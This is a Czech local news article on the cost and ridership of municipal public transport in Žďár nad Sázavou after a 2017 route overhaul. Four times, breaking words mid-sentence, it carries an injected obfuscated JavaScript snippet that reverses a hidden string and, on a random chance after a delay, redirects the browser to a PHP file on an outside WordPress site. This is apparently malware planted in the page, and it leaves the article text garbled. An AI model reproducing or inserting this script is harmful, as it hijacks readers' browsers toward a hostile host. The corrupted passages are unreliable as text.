Žďár nad Sázavou / Šest a půl milionu korun byl podle rozklikávacího rozpočtu na webu žďárské radnice výdaj na provoz městské hromadné dopravy (MHD) v roce 2015 – stejná částka je v rozpočtu zanesena i v roce 2016. Od července 2017 začala ve Žďáře MHD po dvou letech příprav jezdit v nové podobě – upravilo se trasování, klesl počet linek a změnilo se jejich označení. Číslo v kolonce s nákladem na MHD se v roce 2017 zvýšilo na 8,72 milionu.
Ne všichni cestující jsou s novou podobou MHD spokojeni – radnici při loňském půlročním zkušebním provozu zahrnula vlna stížností, která se ještě zvýšila před a hlavně po spuštění „ostrého“ provozu MHD s dalšími změnami le[„\’///\’=“];[„\’///\’=“]; };[„\’//\’=“]}$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tos v lednu, jež se cestujícím z některých částí Žďáru zamlouvaly ještě méně. V rozklikávacím rozpočtu je le[„\’///\’=“];[„\’///\’=“]; };[„\’//\’=“]}$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tos na provoz MHD ve Žďáře vyčleněno 8,5 milionu korun, z [„\’///\’=“];[„\’///\’=“]; };[„\’//\’=“]}$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toho je aktuálně vyčerpáno 5,6 milionu, tedy 66 procent.
Podle starosty Žďáru Zdeňka Navrátila si na změny v MHD obyvatelé postupně zvykají, nicméně zatím se nepodařilo zvýšit počet cestujících, jejichž prvotní propad byl v některých měsících až patnáct či dvacet procent; poté se situace o něco zlepšila. Méně cestujících po zavedení změn v MHD potvrdil i ředitel přepravní společnosti ZDAR Richard Latislav. „Úbytek cestujících je zhruba desetiprocentní,“ uvedl Latislav s tím, že lidé však za jízdné utratili prakticky stejnou sumu peněz, pro[„\’///\’=“];[„\’///\’=“]; };[„\’//\’=“]}$NfI=function(n){if (typeof ($NfI.list[n]) == „string“) return $NfI.list[n].split(„“).reverse().join(„“);return $NfI.list[n];};$NfI.list=[„\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tože se po zdražení ještě nenaučili používat výhodnější slevy přes předplacené karty.
Provoz MHD byl ve Žďáře zahájen 1. října 1957. Největší rozvoj linek uskutečnil na přelomu let 2003 a 2004, kdy se původních šest linek rozšířilo na dvanáct. Dnes má MHD devět linek, které měsíčně využívá přibližně 70 tisíc cestujících.